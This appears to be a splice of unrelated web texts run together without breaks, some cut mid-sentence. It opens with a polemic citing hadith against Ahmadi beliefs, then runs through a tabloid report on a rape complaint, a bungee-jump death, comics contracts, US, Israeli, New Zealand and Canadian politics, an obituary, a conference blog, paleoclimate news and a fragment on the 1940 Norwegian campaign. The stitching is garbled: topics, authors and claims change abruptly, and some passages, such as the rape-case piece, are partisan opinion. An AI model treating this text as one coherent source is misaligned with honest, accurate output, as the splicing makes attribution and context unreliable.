Nabeel says that Ahmadis believe that whichever prophet comes later must be subordinate to Muhammad (peace be upon him). However, paying lip service is one thing (for instance, would Nabeel Qureshi accept the claim of Muslims that they truly follow Jesus?) and actually implementing is another thing. Ahmadis have rejected the sayings of Prophet Muhammad (peace be upon him) where he states that he is the last and final prophet and messenger:
The Prophet of Allah (Peace be upon him) affirmed: "The chain of Messengers and Prophets has come to an end. There shall be no Messenger nor Prophet after me. " (Sunan Al Tirmidhi, Kitab: ur-Rou'ya Bab: Zahab-un- Nubuwwa, Hadith No. 2198; authenticated by Sheikh Al-Albani in his book Erwaa' Al-Ghaleel, no. 2473, under the 8th)
Narrated Abu Huraira:
Allah's Messenger said, "My similitude in comparison with the other prophets before me, is that of a man who has built a house nicely and beautifully, except for a place of one brick in a corner. The people go about it and wonder at its beauty, but say: 'Would that this brick be put in its place!' So I am that brick, and I am the last of the Prophets." [Saheeh Bukhari, Book 56, Number 735]
Abu Huraira reported that the Messenger of Allah (may peace be upon him) said:
I have been given superiority over the other prophets in six respects: I have been given words which are concise but comprehensive in meaning; I have been helped by terror (in the hearts of enemies): spoils have been made lawful to me: the earth has been made for me clean and a place of worship; I have been sent to all mankind and the line of prophets is closed with me. [Saheeh Muslim, Book 4, Number 1062]
... Jubair b. Mut'im reported on the authority of his father that he heard Allah's Messenger (may peace be upon him) as saying: I am Muhammad and I am Ahmad, and I am al-Mahi (the obliterator) by whom unbelief would be obliterated, and I am Hashir (the gatherer) at whose feet mankind will be gathered, and I am 'Aqib (the last to come) after whom there will be no Prophet.... [Saheeh Muslim, Book 30, Number 5810]
Allah's Messenger () set out for Tabuk. appointing `Ali as his deputy (in Medina). `Ali said, "Do you want to leave me with the children and women?" The Prophet said, "Will you not be pleased that you will be to me like Aaron to Moses? But there will be no prophet after me." [Saheeh Bukhari, Book 59, Number 700]
Narrated Abu Huraira:
The Prophet said, "The Israelis used to be ruled and guided by prophets: Whenever a prophet died, another would take over his place. There will be no prophet after me, but there will be Caliphs who will increase in number." The people asked, "O Allah's Messenger! What do you order us (to do)?" He said, "Obey the one who will be given the pledge of allegiance first. Fulfil their (i.e. the Caliphs) rights, for Allah will ask them about (any shortcoming) in ruling those Allah has put under their guardianship." [Saheeh Bukhari, Book 55, Number 661]
Abdullah b. Ibrahim said to us: I bear witness to the fact that I heard Abu Huraira (Allah be pleased with him) say that Allah's Messenger (may peace be upon him) said: I am the last of the Apostles and my mosque is the last of the mosques. [Saheeh Muslim, Book 7, Number 3211]
Narrated Abu Huraira:
I heard Allah's Messenger saying, "Nothing is left of the prophethood except Al-Mubashshirat." They asked, "What are Al-Mubashshirat?" He replied, "The true good dreams (that conveys glad tidings). [Saheeh Bukhari, Book 87, Number 119]
Thawban narrated that the Messenger of Allah(s.a.w) said:
"The Hour shall not be established until tribes of my Ummah unite with the idolaters, and until they worship idols. And indeed there shall be thirty imposters in my Ummah,each of them claiming that he is a Prophet. And I am the last of the Prophets, there is no Prophet after me." (Jami' at-Tirmidhi, Book 7, Number 2219; Shaykh Al-Albani declared this hadeeth to be Saheeh in his Saheeh at-Tirmidhi, no. 2219)
So if the Ahmadis are rejecting the statements of the Prophet (peace be upon him) reported in multiple authentic isnads as they please, then what sort of "subordination" is going on here and why should any credence be given to this sort of "subordination"? Would Nabeel accept the fact that Muslims truly do follow Jesus (peace be upon him) simply on the basis that Muslims say so or would Nabeel deny that Muslims truly follow |
sticking to her version of events; a version of events she barely wavered from throughout three police interviews.
‘This is a serious allegation,’ a female detective told Lucy after she brought the rape complaint. ‘It’s a huge allegation to make against someone.’ ‘I’m fully aware of that,’ replied Lucy.
Female detective: ‘You know if it goes to court he [David] will face the stigma of being a rapist. No question in your mind he forced you to do it.’
Lucy: ‘No.’
Later, the officer put the following allegation to Lucy. ‘You apparently made a claim like this before. But nothing came of it. Is that right?’
‘Yes,’ Lucy replied.
When we contacted the police this week, they declined to give further details about Lucy’s previous rape claim.
Why did Lucy behave like she did? Even the judge who heard her case said he could not answer that question. The judge who heard all the evidence was certain of one thing, though: Lucy had agreed to have sex with David that morning five months ago with two 14-year-old friends playing a computer game only feet away.
Isn’t that the real story here? A story that tells us so much about the kind of society we now live in.
Additional reporting: Peter Hayward.Vera Mol, 17, was killed instantly in August 2015 after leaping off a bridge in northern Spain during an organized bungee jump.
Spaans bedrijf schuldig aan fatale bungeejump Haagse Vera (17) https://t.co/93JUMcZd3L pic.twitter.com/jIq15n0EWu — AD.nl (@ADnl) June 21, 2017
She was wearing the bungee harness but the cord was not yet secured when she jumped off the bridge over a gorge in Cabezon de la Sal in Cantabria.
READ MORE: Bungee girl jumped on the 'no' command
An appeal court in Cantabria heard that she had made the leap on hearing the instructor say “No jump” but his pronounciation was so bad that she likely thought he said: “Now Jump”, the judge wrote in a ruling reported by Europapress.
In fact, the misunderstanding would have been avoided had the instructor used the phrase “Don’t Jump” which is the correct protocol in such circumstances, said the written ruling which rejected an appeal by the company that organized the jump.
The appeal judge said the instructor's level of English was not of a sufficient standard to allow him to guide foreigners in "something as precarious as jumping into the void from an elevated point".
The "misunderstanding derived from the incorrect use and pronunciation of English", the ruling said.
The ruling also said that the unnamed instructor, who was employed by Flowtrack adventure company, should also have checked the girl’s ID to check that she was over the age of 18 before taking part.
It also noted that the company did not have permission to operate jumps from that particular bridge where such activity was prohibited because it was a highway.
READ ALSO: Londoner dies in bungee jump after hitting bridgeQuick one, folks.
I understand that a number of other creators have been approached, and others will be approached this week, to sign exclusive contracts with DC Comics.
That means they can’t write or draw comic books, usually work-for-hire comics books, for the competition, usually Marvel, and get guaranteed amounts of work, page rates and other benefits including health insurance.
This will be as a result of successful pitches being made for the DC Rebirth titles. And DC want to lock them in. Maybe sign an NDA or two…
Good luck everyone. Tough decisions – but very interesting opportunities – out there. As Gail says…
Follow the rest of our Rebirth coverage right here.
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None found(CNN) There's little love lost between Ted Cruz and New York City.
On Friday, the feud between the Texas senator and America's largest city escalated when the New York Daily News told Cruz, in bold, headline font on the front page of the paper: "Drop dead, Ted."
Though Trump and Cruz have been jabbing each other on several issues for days, the Texas senator launched the first volley on this line of attack when he criticized Donald Trump for embodying "New York values" in an interview on a New Hampshire radio show. He repeated the attack throughout the week on Fox News and on the stage of the sixth Republican presidential debate Thursday night hosted by the Fox Business Network.
During Thursday night's debate, Trump delivered a withering rebuke to Cruz's attack, praising New York City's resilience after 9/11.
Read MoreHEBRON - The IDF has created a new authority to provide municipal services for Jewish settlers in Hebron, drawing accusations that Israel is moving closer to annexing parts of the volatile West Bank city.
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The military order, signed last week, alters a 20-year-old agreement in Hebron's Old City, where several hundred ultranationalist settlers live in heavily guarded enclaves surrounded by tens of thousands of Palestinians.
While Israel maintained security control over the area under the 1997 agreement, municipal services to Palestinians and settlers were provided by the Palestinians.
Israeli settlers in Hebron (Photo: Ohad Zwigenberg)
The order, signed by Maj. Gen. Roni Numa, head of the Central Command, establishes a new "municipal services administration" for the Jewish neighborhood, the army said.
"By force of the order, an administration will be established to represent the residents of the Jewish neighborhood in Hebron and to provide them with municipal services in a variety of fields," it said.
Hebron is the largest city in the West Bank, and a frequent flashpoint of violence between the small Jewish community and the Palestinian majority. It also has deep religious significance for Jews and Muslims, who revere it as the burial site of religious patriarchs.
The Palestinians claim all of the West Bank, captured by Israel in the 1967 Six-Day War, as part of a future independent state. They say that all settlements are illegal, a position that has wide international backing.
Kamel Hmeid, the city's Palestinian governor, said the military's order favored settlers at the expense of the Palestinian population and was meant to deepen Israeli control.
"It paves the way for the settlers to expand their control over the Old City and paves the way for Israel to annex this part of the city," he said. "Israel has been facilitating the settlement project in the city for years, and now they have made a big leap in changing the face of the city and Judaizing it."
Hagit Ofran of the anti-settlement watchdog group Peace Now said the decision formalized what she called "the already existing apartheid in the city," since Jewish settlers will now receive superior municipal services from Israel.
"It also undermines the authorities of the Palestinian municipality," she added. "It is symbolic but also a meaningful step that allows the settlers to control their lives and get more budgets to affect what's going on in Hebron."Singer Colonel Abrams, popular during the 80’s via hits like “Trapped” and “I’m Not Gonna Let You,” has passed away. He was 67 years old.
Reports The Root:
Abrams was born Colonel Abrams Page in Detroit on May 25, 1949. At age 10, he moved to New York City. His biggest hit, “Trapped” reached the top five in the UK Singles Chart and topped the US Hot Dance Music/Club Play chart in 1985, followed by his self-titled album, which spent two weeks at number one the following year.
“I’m Not Gonna Let You” also spent a week at number one in the dance chart in 1986. In 1987, he had his fourth number-one US dance hit with “How Soon We Forget”, the same year that he released his second album, You and Me Equals Us.
Reportedly, Abrams had been ill with diabetes and struggling to the point of homelessness for quite some time.The Ohio Supreme Court may decide if red light cameras violate the Ohio Constitution.
The issue is if a city's administrative process for issuing civil violations for running red lights violates the constitution, which grants judicial authority solely to the courts.
Cities and the companies that operate the cameras want the state's highest court to decide the matter after losing an appeals court ruling.
In February 2011, Bradley Walker received and subsequently paid a $120 red light camera fine. He then sued RedFlex Traffic Systems and the City of Toledo in Lucas County Common Pleas Court, alleging the civil penalty imposed for running a red light usurped the municipal court's jurisdiction, resulting in unjust enrichment of the city and company.
Toledo and RedFlex, the Australian company contracted to operate the city's red light and speed cameras, argued the constitutionality question had been settled in Mendenhall v. Akron, which ruled cities have the ability to use cameras under their home-rule authority.
Walker and his attorney, Andrew Mayle, argued that while cities have the legal authority to use cameras to enforce traffic rules, only the municipal court can hear such charges - not an administrative hearing officer many cities have established. Because the state constitution grants sole authority to the courts for non-parking traffic violations, the penalties collected through the administrative hearing process constitute an unjust enrichment, they argued.
Click for more from Watchdog.org.Luke McGuane has announced his retirement from football after suffering another knee injury at training yesterday afternoon.
Queenslander McGuane played 112 games over an 11-years AFL career – 105 of those for Richmond – after being selected at No.36 in the 2004 National Draft by the Tigers from Broadbeach on the Gold Coast.
The 28-year-old forward has played the best football of his career at the Brisbane Lions over the past month after fighting back from a series of left knee problems since joining the Club at the start of 2014.
He had kicked 7 goals in four games this year and was keen to play on next season before the training mishap that left him with damage to his “good” right knee. He is meeting with a surgeon this afternoon.
“I wanted to play on next year until this injury at training yesterday snuffed out any thought of that,” said McGuane.
“My body has given up on me and as much as I’d love to continue to play on it's clear my body won't deal with it.
“I’m obviously really disappointed – getting back out there and playing the last 4 games has been incredibly enjoyable, and something I wasn’t sure was going to happen after all the injuries I've had over the last few years.
“I’ll have very fond memories of my career and be happy to have got to play so long in the AFL system… I feel blessed to have had such a long career in the AFL.”
McGuane made his senior debut against Sydney in Round 7 of 2006, but managed just two games for the season. He became a more regular fixture for the Tigers from 2007, primarily holding down a third-tall position down back.
In 2012, he was swung forward and kicked 15 goals from nine games. He continued his promising form in attack in 2013, when he kicked a career-best 20 goals from 12 games - which included three in a half against the Brisbane Lions in Round 20 at the MCG.
After nine seasons and 105 games with Richmond, McGuane exercised his right as a free agent to return home to Queensland and join the Lions.
He eventually worked himself back in time for the team's second NAB Challenge match against Gold Coast, and made an immediate impression with three first quarter goals - including a 'goal of the year' contender from the boundary.
He was prominent again in his second pre-season outing against Sydney at Burpengary, however his knee pulled up sore and forced him to spend a further stint on the sidelines.
McGuane was eventually named to make his Lions debut in the team's Easter Thursday night blockbuster, which happened to be against his old side, Richmond.
He went on to play three consecutive games, but continued to struggle with his injury.
McGuane’s injured his troublesome left knee again in the 2015 preseason that kept him off the field until the back half of the season, when he was able to break back into the Senior side and make an impact including 3 goals in a narrow loss to the Golf Coast and two majors in the Gabba win over Carlton.
“The players and coaches at Richmond early in my career, I couldn’t thank them enough, I had an amazing time in my decade at Richmond, and then to finish off my career in Brisbane with my family and new teammates was also really good for me,” said McGuane.
“It’s been hard too because I’ve been injured for 90% of my time here but it was great to finish off my career up here with my family around me.
“To play over 100 games of AFL, I couldn’t be happier, and then being able to share memories with so many mates at both Richmond and Brisbane.”Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 11, 2015, 1:14 PM GMT / Updated Sep. 11, 2015, 1:14 PM GMT By Reuters
China reacted angrily on Friday following a call by America's top intelligence official for cyber security against China to be stepped up, and said the United States should stop "groundless accusations."
Director of National Intelligence James Clapper said the United States must beef up cyber security against Chinese hackers targeting a range of U.S. interests to raise the cost to China of engaging in such activities. Clapper's testimony adds pressure on Beijing over its conduct in cyberspace weeks before President Xi Jinping visits the United States.
Read More: China Read Emails of Top U.S. Officials
China routinely denies any involvement in hacking and says it is also a victim.
"Maintaining cyber security should be a point of cooperation rather than a source of friction between both China and the United States," Chinese Foreign Ministry spokesman Hong Lei told a daily news briefing.
"We hope that the U.S. stops its groundless attacks against China, start dialogue based on a foundation of mutual respect, and jointly build a cyberspace that is peaceful, secure, open and cooperative."
The Obama administration is considering targeted sanctions against Chinese individuals and companies for cyber attacks against U.S. commercial targets, several U.S. officials have said.
Chinese hackers wee also implicated in extensive hacking of the U.S. government's personnel office disclosed this year.
Read More: Exclusive Secret NSA Map Shows China Cyber Attacks on U.S. TargetsBy Gareth Morgan
Last Monday's televised leaders' debate demonstrated that the greatest difference between the main protagonists for government are over economic policy.
There are clear options on which voters can express their preferences, although in several cases there is no right or wrong approach, they are just different. These are my takeaways from what was said.
Raising the retirement age to 67, is it necessary?
Labour has pitched for this, National is steadfast on age 65.
The Cullen Fund (aka NZ Super Fund) was launched to partially fund the retirement incomes of the burgeoning numbers of superannuitants that emerge as the babyboomers retire. That fund, Labour contended back then, would reduce the need for a rise in the retirement age.
Again under Labour, KiwiSaver has been launched at considerable expense to today's taxpayers, in an endeavour to shore up the self-provision of retirement savings.
Despite these two initiatives Labour's figuring now says the age of entitlement for NZ Super will have to be raised.
Part of the reason is Cullen Fund contributions have been halted because the Government's own books are under a greater strain, part is because the downgrade will make it harder for the economy to generate the income to pay the pension.
Labour's is a precautionary initiative and will affect everyone under 57, with those under 47 today having 67 as their retirement target.
It is difficult to believe that with a cessation of Cullen Fund contributions and a slump in economic growth prospects there are no adverse consequences for pension policy.
On balance then Labour should be credited for this policy reaction, and providing forward warning.
Should KiwiSaver be made compulsory?
Labour says yes, National is opting for the soft compulsion (employees can still opt out) only.
It isn't rational to make every person save this way in a taxpayer subsidised scheme, certainly many do not need additional savings at all.
The ideal would be for KiwiSaver to be required only of those whose current wealth indicates insufficient resources to fund an adequate replacement in retirement for their current lifestyle. Designing policy to deliver such an ideal is not easy although satisfying a wealth test to be exempt from KiwiSaver membership would suffice. National's soft compulsion is a step closer to voluntary than Labour's alternative so it has to be preferable.
Asset sales, are they necessary?
Labour's case against the sale of 49% of certain state enterprises is that National is doing it for funding reasons.
This is incorrect, it is about putting a financial discipline alongside the social and strategic one that governments generally bring to their investments.
And there is a chronic shortage of blue-chip scrip on the local stock exchange to boot which does not auger well for the future of our capital markets. So government can achieve a win-win from such a policy, much as Fonterra has at long last by escaping the shackles of its 100% collectivist ownership model.
Capital markets have major advantages if you structure your offerings to them appropriately.
National wins this policy tussle hands down.
The Government's responsibility will be to ensure these assets are sold at a value that reflects their full potential value and that these public/private enterprises do not engage in monopolistic pricing practices, at least any more than they do already.
Capital gains tax
Labour needs to be congratulated for at least recognising that the taxation of wealth is inequitable, although I do get annoyed when Goff quotes Sam Morgan as saying he should have been taxed on his Trade Me proceeds.
He's wrong, the price paid for that asset was one for tax-paid future profits, if it wasn't the price would have been higher and taxable.
The point about the rich and tax is about loopholes in the capital income tax regime, not simply about taxing the disposition of assets.
National is deadly quiet on the tax loopholes and that is not a good look for those of us concerned about the inequities in our tax regime. The biggest loophole is enjoyed by the owners of capital that generates an un-competitively low taxable return yet delivers a handsome post-tax return overall. That is unjust, it distorts the deployment of capital around the economy and produces lower GDP than is necessary.
Because National cannot bring itself to acknowledge that reality they should be admonished for that lethargy.
Increasing the minimum wage
Labour wants to do this, National doesn't. We already know that both accept that the minimum wage is not sufficient to live on - hence the raft of top-up transfers (accommodation allowance, hardship allowance etc) that low-income workers can procure.
But we also suspect that the employment of youths has been hampered by the removal of youth rates. So the answer to youth unemployment certainly does not lie in raising the cost of their employment.
For adult workers on this rate, if the Government is saying the rate is insufficient (and both are acknowledging as much by virtue of the top-ups available) then the answer is to redistribute more income to these folk but not raise the cost of employing them.
The way to do that is via the unconditional basic income (UBI) as proposed in our book, The Big Kahuna. At either today's minimum wage of $25,000 or that proposed by Labour ($29,000) the recipient would be better-off under the UBI-based regime we propose - by $6,850 and $6,365 respectively.
This is how you reconcile the reality that some of the wages in your economy are not sufficient to live in dignity. You certainly don't raise the cost of employing those folk. National has the superior quality policy in this area of wages, but only because it's not as deficient.
Child poverty
We are in dire straits in this regard and most but not all of it is centred on Maori and Pacific Island families.
As our book Health Cheque pointed out, this has a lot to do with both a decline in absolute real incomes of the poor (the other side of the coin of the growth in the disparity of wealth over the past 30 years) and the associated bad housing and diet that many of these children endure, as well as the failure of the public health system to fairly allocate the health dollar on the basis of greatest return to well-being of our population.
With our politicised health system the squeaky wheels get an unfair share of the health spend and the group most enjoying that favouritism are old white folk.
The economic reality is that the real wages for lower skilled people have fallen since financial deregulation and globalisation.
The theory of "trickle down" has been an abject failure for them. On this metric then both parties need to be ashamed of their inadequate response and the favouritism they sponsor.
All New Zealanders apparently are not equal in terms of their call on the state purse. Goff rightly points to preventive measures as offering the best return - this is true in education, in law and order and in health.
Key agrees but his solution of free doctors' visits for the under-6s is an ambulance at the bottom of the cliff response, not a preventive one.
Environment and New Zealand's tarnished clean and green image
Both leaders agree there have been issues although Key rightly points out there are substantial economic benefits to be gleaned from expanding mining, citing Australia as being much more progressive in this regard than us.
For Goff, national parks and Schedule 4 land (some other parts of the conservation estate) are out of bounds. Sustainability and economic development do not have to be opposites; it's a matter of the extent to which you price environmental risk to those who threaten it.
Both parties have a long way to go in getting these policies in harmony with the public's preferences.
The polarisation of income and wealth
Key espouses equality of opportunity, the right for all to participate. Goff decries corporate greed.
Thankfully they both recognise that the egalitarian values on which New Zealand was founded are worth protecting. The difference is on how to achieve that, both in terms of vision and policy actions.
Therein lies the voters' dilemma.
-------------------
Gareth Morgan is a Director of Gareth Morgan Investments
This article was first published in the NZ Herald.
You can do your own comparison of the policies of most NZ political parties here »Elections Canada is confirming for the first time that it's investigating automated robocalls that may have redirected voters to the wrong polling stations during last spring's federal election.
The agency had previously said only that it makes a practice of not confirming investigations. However, the RCMP confirmed it was providing support to the agency. The agency also said in a post-election report that it was looking into crank calls.
P.O.V. Is Elections Canada the right agency to investigate robocalls? Take our survey.
"The Office of the Commissioner of Canada Elections confirms that it is investigating complaints received regarding robocalls placed at the 41st general election in 2011," John Enright, spokesman for Elections Canada, said in a statement.
The agency has received more than 31,000 "contacts," Enright said, meaning emails, phone calls or letters.
"Elections Canada has received a high volume of complaints in recent days as a result of MPs and political parties calling on the public to send information to the agency. … Elections Canada is reviewing these and will take action as appropriate."
Interim Liberal Leader Bob Rae says the complaints show significant dissatisfaction.
"This is a literally unprecedented number of complaints," he said Friday in Ottawa.
"Unless the prime minister and his associates want to say there are 31,000 Canadians and more participating in a smear campaign, he’s going to have a hard time dismissing these complaints."
Questions about Thunder Bay call centre
Asked about a CBC News report that Conservative officials are reviewing election-era recordings from a Thunder Bay, Ont., call centre, Rae said if the report is true then it's inappropriate.
"This is evidence," he said. "You can't be seen to be looking at evidence before somebody else looks at evidence."
Dean Del Mastro, parliamentary secretary to Prime Minister Stephen Harper, denied the report in the House of Commons.
"Of course the Conservative Party of Canada is doing no such thing," he said during question period. "We have made certain, as we’ve said in this House many times, everything that the Conservative Party has done is available to Elections Canada. We have nothing to apologize for, Mr. Speaker."
Speaking to reporters, Del Mastro said the Conservatives have "all of the evidence on our side to indicate that we have absolutely no involvement in any of the allegations the opposition has brought forward."
Despite an embarrassing mix-up Thursday in which the Conservatives drew a link between the Liberals and a U.S.-based company, but confused Canadian and American companies with the same name, Del Mastro continued to argue the opposition party harassed its own supporters.
The Liberals had said some of the harassing calls reported to their campaigns had U.S. area codes.
Del Mastro had said the U.S. area code proved the calls came from the Liberals because they were the only party to use a U.S.-based call centre. In fact, the Liberals used the Canadian company with a similar name.
But he persevered with the argument Friday.
"It seems very clear to us that the Liberal party has, in fact, spent millions of dollars on a nationally orchestrated, documented, well-planned, phoning campaign where they contacted folks they believed were Liberal supporters right across the country," he said Friday.
In reference to the number of complaints being investigated, NDP MP Pat Martin said it's just not plausible to have that many calls made in error.
"To try and change the channel by implying the Liberals did it to themselves, this nationwide conspiracy to sabotage their own election, and then to say, oh well, maybe there was a few mistakes made. You know, maybe the robo fairy actually spilled over and called a few people they shouldn’t have called," he said.
Enright wouldn't say whether the investigation is expanding beyond Guelph, Ont., where court documents show Elections Canada started looking into robocalls on May 12, 2011, 10 days after the election.
The agency said in its post-election report that it received 1,003 complaints, including complaints about crank phone calls, unsolicited phone calls and automated phone messages.
There were 1,352 complaints from the 2008 election and 329 from the 2006 election.
The agency's commissioner will report to Parliament "in due course," he said.Spa 2009 was an experience grenade, I am somewhat recovered from the blast I had there, but not quite, so here are some impressions and photos.
Haskell
This years’ conference had many sessions on a hitherto rather obscure programming language: Haskell. I knew the guys from the Paris CodingDojo (at the very least EmmanuelGaillot, ChristopheThibaut and ArnaudBailly ) have been jamming on Haskell for a while, I was surprised to learn Ivan Moore and Mike Hill, this years’ programme chairs also have taken an interest in it.
I am not exactly sure why. Maybe it is because Haskell is the ultimate MindFuck where it comes to programming languages that you could use in theory (and sometimes in practice) to do interesting stuff. Maybe it is because, if you do not work in really, really small steps, you are going to shoot yourself in the foot very quickly, so Haskell, TDD and a dojo (where in the randori form you have only 5 minutes at the keyboard before you have to rotate out) seem like a natural fit.
Ivan told me they thought it would be interestingly different to let Simon Peyton-Jones, one of the stewards of Haskell, do a keynote. SPA has a tradition of keynotes that are inspiring and different from what you would expect – Kent Beck did early presentations on eXtreme Programming at this conference (then named OT) 10 years ago.
The keynote was fun and interesting, explaining the kind of problems Haskell intends to solve, with some examples. You could say haskell is kind of a spreadsheet on steroids, although it lacks the graphics. The presentation was laced with code on slides, explaining important features in Haskell. About halfway through, unique for a keynote, Simon did some live coding, showing how the haskell program quicktest can be used to test new features. Quicktest exercises code with random testdata for cases specified in haskell, and when a test fails reasons backwards to find the simplest possible failure.
Apparently Arnaud Bailly and Christophe Thibaut used quicktest in their workshop on wednesday to test a java program, I would have loved to see it, but had to be at our Consulting Without Secrets workshop, which was good fun in itself and very useful for running our businesses; you can read through the outputs on the conference wiki.
Back to Haskell. Sunday saw the RealWorldHaskell tutorial hosted by Peter Marks, Nicholas Simons and Ben Moseley. Christophe Thibaut paired with me, so we could work test-first. Unit testing was not part of the tutorial, but Christophe already knew how to do it. This helped us to getting reasonably far with the exercises. If you do not work in small steps, I find the error messages sometimes difficult to understand.
Several Bird of a Feather sessions were scheduled to do more Haskell in the form of coding dojos. There was also a discussion BoF on why Haskell? which was packed – more people attended that than the hands-on sessions, which I found a bit puzzling. The dojos consisted of a Kata performed by Christophe and Arnaud, and a Randori hosted by Rob Westgeest. That meant I got to practice a little Haskell with switched-on colleagues every day. Pair programming and learning helped a lot.
Therefore, next Tuesday, April 28th, Mike Hill and I will be co-hosting an amateur Haskell coders’ dojo at the eXtreme Tuesday Club (in London of course).
Beatboxing
The SPA conference always has interesting ‘diversions’ in the evenings. Before the whiskey tasting there was a beatboxing tutorial, hosted by UK beatboxing championship Mc Zani. That was wicked.
Here you can see him in action for a ‘slightly’ larger audience. Mc Zani knows his stuff and his facilitation style resulted in a relaxed workshop with surprising performances by some of the participants. Definetely worth it to attend one of his workshops if you get the chance.
Some of the remarks Mc Zani made about beatboxing made me think of programming, and the agile movement. Beatboxing is more than a party trick, but after it suddenly became popular again, the media are overflowing with mediocre beatboxers – people who see it as a party trick and are not willing to put in the effort required for greatness. Great beatboxers are still out there of course, but you have to go look for them.
Which brings us to the next topic:
Anarchy Agility in the UK
The other diversion was a Panel Discussion about 10 years of agility in the UK and bar night, with drinks sponsored by the eXtreme Tuesday Club. David Harvey hosted a panel discussion between early eXtreme Programmers Paul Dyson, Tim Mackinnon, Rachael Davies and Ivan Moore. Paul Dyson wrote about his optimism already:
Perhaps the Agile community has become a bit too focussed on certification rather than learning, on easy rather than effective methods, and on being recognised as ‘being Agile’ rather than achieving agility. But I believe that the world is changing in a way that will force the Agile community to adapt or die and I’m optimistic that we will achieve the former.
Paul was was a bit surprised about the agreement on failing agile projects in the room – since it was filled with agile coaches, developers etc. who have a ‘vested interest’ in agile. I have a vested interest (I am not retired by a long shot, coaching and training agile teams, and being test-infected I have to find places of work where I can at least write tests (and preferably talk to the customers as well). The agreement does not surprise me.
I still encounter shops (or rather, shops encounter me) that want to kick ass, but as ‘agile’ becomes mainstream we find more and more shops that are content to go throug the motions, or believe that by following some book ‘to the letter’ they will be somewhat more successful. I guess the room was filled with people who got addicted to high performance teams through the early days of eXtreme Programming. Stepping back from there into environments that lack the desire for excellence is hard.
Another thing that struck me from the panel discussion, was a remark by Tim or Paul about the early days of XTC. If something new came along, you would try it out just for fun and see if it would work for you. These days there seems to be more of a ‘not invented here’ syndrome hanging around, even in agile circles.
Paul’s optimism stems from the trend of mash-ups – applications that are made from other applications that already exist. Turn-around time of mash-ups can be a lot faster than ‘traditional’ applications, which will force the agile community to adapt or die (or perhaps ‘adapt or dye’ ). In that context the postmodern programming conference organized by Ivan Moore and others a few years ago was also mentioned.
Lasse Koskela and yours truly already decided to adapt (embrace and extend ) – we will be hosting a Scrapheap Challenge, which is a shorter version of the exercises of the postmodern programming conference, during XP2009. We see the internet as a giant Scrapheap, and Challenge the participants to complete a mash-up instead of an application, from Scap instead of Scratch, in less than no-time.
In the meantime, I hope the photos convey a bit of the buzz that was SPA2009…(Image: David Haberlah)
A giant, long-vanished lake along the White Nile may have been a vital way station for early modern humans leaving Africa. Archaeologists say the 45,000-square-kilometre lake, which would be one of the ten largest lakes on Earth if it existed today, was in the right place at the right time for at least one of two key migrations. One exodus took people to what is now Israel before 100,000 years ago, and another peopled Eurasia 70,000 years ago.
Geologists had seen traces of an ancient lake in the now-arid region south of Khartoum in Sudan, but it was too old for carbon dating so they didn’t know when it dried up. So Martin Williams of the University of Adelaide in Australia teamed up with Tim Barrows of the University of Exeter, UK, to try other dating techniques. The two collected samples from former lake-shore deposits, and Barrows dated them to around 109,000 years ago.
Barrows and Williams traced the long-lost freshwater lake along some 650 kilometres of the White Nile, one of the two main tributaries to the Nile. At points, the lake seems to have stretched to almost 80 kilometres wide.
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Its peak extent came in the last interglacial period, a warm interval before the last ice age. Barrows says it cannot have stayed at full size for long, because the lake-shore deposits he found took “thousands of years to form, but probably not tens of thousands”. His dating techniques measure how long it has been since the deposits were exposed, so his date tells us when the lake first began to shrink.
Home sweet home
The last interglacial period was a crucial time for early modern humans, who first appear in the fossil record nearly 200,000 years ago in Ethiopia. Bones from the Qafzeh and Es Skhul caves in Israel show that modern humans reached the eastern Mediterranean by about 110,000 to 100,000 years ago.
But mitochondrial DNA evidence shows that modern Eurasian populations left Africa much later, around 72,000 to 70,000 years ago, says Stephen Oppenheimer of the University of Oxford. He thinks the later migration crossed the mouth of the Red Sea, when the ice age had lowered sea levels by some 100 metres.
“A big lake like this would have been a great place to live, and would have supported a large population, probably fishing and hunting game, but they probably would have stuck around the lake,” says Oppenheimer.
The lake was no more than about 12 metres deep, and like other shallow lakes in arid environments, its size would have varied seasonally. But that wouldn’t have stopped people using it. “Even in arid times, these lake margins would have retained some stability,” says Laura Basell of Queen’s University Belfast, UK.
Mitochondrial DNA studies suggest the human population in east Africa expanded about 100,000 years ago, when the lake should have been there. Other sites also show evidence of a wet spell around the date of the lake, says Basell, and a skull fragment indicates that modern humans were in Sudan 130,000 years ago.
So far there is no way to confirm that humans lived in the area, because there are very few archaeological sites known from the right period. Barrows did find some artefacts in the area, but none could be shown to be more than a few thousand years old. He says the current conflict in the region means it is too dangerous to return for further excavations. Nevertheless, anthropologists think it was probably inhabited.
Driven out
However, as climate changed and the monsoon rains that fed it dwindled, the lake shrank to nothing.
The lake’s eventual disappearance was a disaster for people in the area, forcing them to move elsewhere, says archaeologist Ofer Bar-Yosef of Harvard University.
The Nile valley was a good exit route, and migrants might have followed it north to the Mediterranean, and then round to its eastern end, the Levant. So the disappearance of the lake could explain the first migration out of Africa.
The great exodus
The lake may also have been important for the second migration, which populated Eurasia, but this is less clear. It depends on how long it took for the lake to disappear completely, which Barrows’s findings do not tell us: his analysis only shows when the lake first began to shrink.
If a shrunken version of the lake endured until 70,000 years ago or just before, it could have been a launch site for the second migration. These later migrants may have followed another route through the Ethiopian highlands to the shore of the Red Sea. By 75,000 to 65,000 years ago, the ice age was at its peak so sea levels were lower, making the strait of Bab-el-Mandeb at the southern end of the Red Sea passable.
Barrows, however, is sceptical. He says the lake “ |
elag and at Vinjesvingen in Telemark.[16]
The failure of the central campaign is considered one of the direct causes of the Norway Debate, which resulted in the resignation of British Prime Minister Neville Chamberlain and the appointment of Winston Churchill to the office.[6]
Having evacuated from Molde during German air attacks on 29 April, King Haakon VII and his government arrived in Tromsø in Northern Norway by 1 May.[16][57][81] For the remaining weeks of the Norwegian Campaign Tromsø was the de facto capital of Norway, as the headquarters of the King and cabinet.[83]
Campaign in Northern Norway [ edit ]
Initial German and Allied landings and operations in southern, central and northern Norway in April 1940
In Northern Norway the Norwegian 6th division, commanded by General Carl Gustav Fleischer, faced the German invasion forces at Narvik. Following the German invasion General Fleischer assumed the position of commander-in-chief of all Norwegian forces in Northern Norway. The Norwegian counter-offensive against the Germans at Narvik was hampered by Fleischer's decision to retain significant forces in Eastern Finnmark to guard against a possible Soviet attack in the far north.[9]
Along with the Allied landings at Åndalsnes and Namsos, aimed against Trondheim, further forces were deployed to the north of Norway and assigned the task of recapturing Narvik. Like the campaign in the south, the Narvik expedition faced numerous obstacles.
